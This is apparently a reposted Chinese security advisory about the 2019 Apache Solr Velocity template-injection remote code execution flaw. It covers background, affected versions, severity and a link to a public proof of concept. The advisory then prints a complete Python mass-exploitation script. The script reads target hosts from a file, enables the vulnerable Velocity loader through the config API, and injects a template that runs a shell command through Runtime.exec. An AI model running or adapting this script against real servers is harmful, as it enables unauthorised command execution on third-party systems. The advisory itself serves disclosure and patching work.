前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞预警 | Apache Solr Velocity 模板远程代码执行漏洞

漏洞预警 | Apache Solr Velocity 模板远程代码执行漏洞

作者头像
鸿鹄实验室
发布2021-04-15 14:30:07
6650
发布2021-04-15 14:30:07
举报
文章被收录于专栏:鸿鹄实验室

【漏洞预警 】Apache Solr Velocity 模板远程代码执行漏洞

ps:由于昨天推文次数已经用完,所以没有即时推送,今天补上

0x00背景介绍

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现 近日国外安全研究员s00py在Github上公开了Apache Solr Velocity的服务端模板注入漏洞的POC

文档名称

Apache Solr Velocity模板远程代码执行漏洞预警

关键字

Apache Solr,Velocity模板,远程代码执行漏洞

发布日期

2019年10月31日

0x01漏洞描述

Apache Solr是默认集成了VelocityResponseWriter这个插件,插件的初始化过程中params.resource.loader.enabled,程序默认设置是false。攻击者在可以访问Solr控制台时,可以通过发送/节点名称/config的POST请求的方式对该项配置进行更改,当该配置被更改为true时用户将被允许通过设置请求中的参数来指定加载相关的资源,攻击者可以通过此功能构造恶意请求。

Solr集成的VelocityResponseWriter组件,可以允许攻击者构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,从而导致Velocity模版注入远程命令执行漏洞。目前漏洞处于0day状态,并且EXP已被公开。

0x02漏洞等级

高危

0x03受影响版本

经过测试,目前影响Apache Solr 8.1.1到8.2.0版本。但是目前无法确定出现问题的API是何时引入,所以预估是影响全版本。

0x04 POC地址

代码语言:javascript
复制
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

0x05 漏洞批量脚本

代码语言:javascript
复制
import requests, time

def first_send(url):
    url = url + "/solr/test/config"
    data = {
        "update-queryresponsewriter": {
            "startup": "lazy",
            "name": "velocity",
            "class": "solr.VelocityResponseWriter",
            "template.base.dir": "",
            "solr.resource.loader.enabled": "true",
            "params.resource.loader.enabled": "true"
        }
    }
    res = requests.post(url, data=data)

def last_send(url):
    url = url + "/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    res = requests.get(url)
    return res

if __name__ == '__main__':
    with open("ip.txt", "r+") as f:
        urls = f.readlines()
    for url in urls:
        if ("http://" not in url) and ("https://" not in url):
            print("正在验证url:%s" % url)
            url = "http://" + url
            try:
                first_send(url)
                text = last_send(url).text
            except:
                continue
            if ("uid=" in text) and ("gid=" in text) and ("groups=" in text):
                print("%s存在漏洞" %url)
                print(text)
            time.sleep(2)

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-11-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00背景介绍
  • 0x01漏洞描述
  • 0x02漏洞等级
  • 0x03受影响版本
  • 0x04 POC地址
  • 0x05 漏洞批量脚本
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档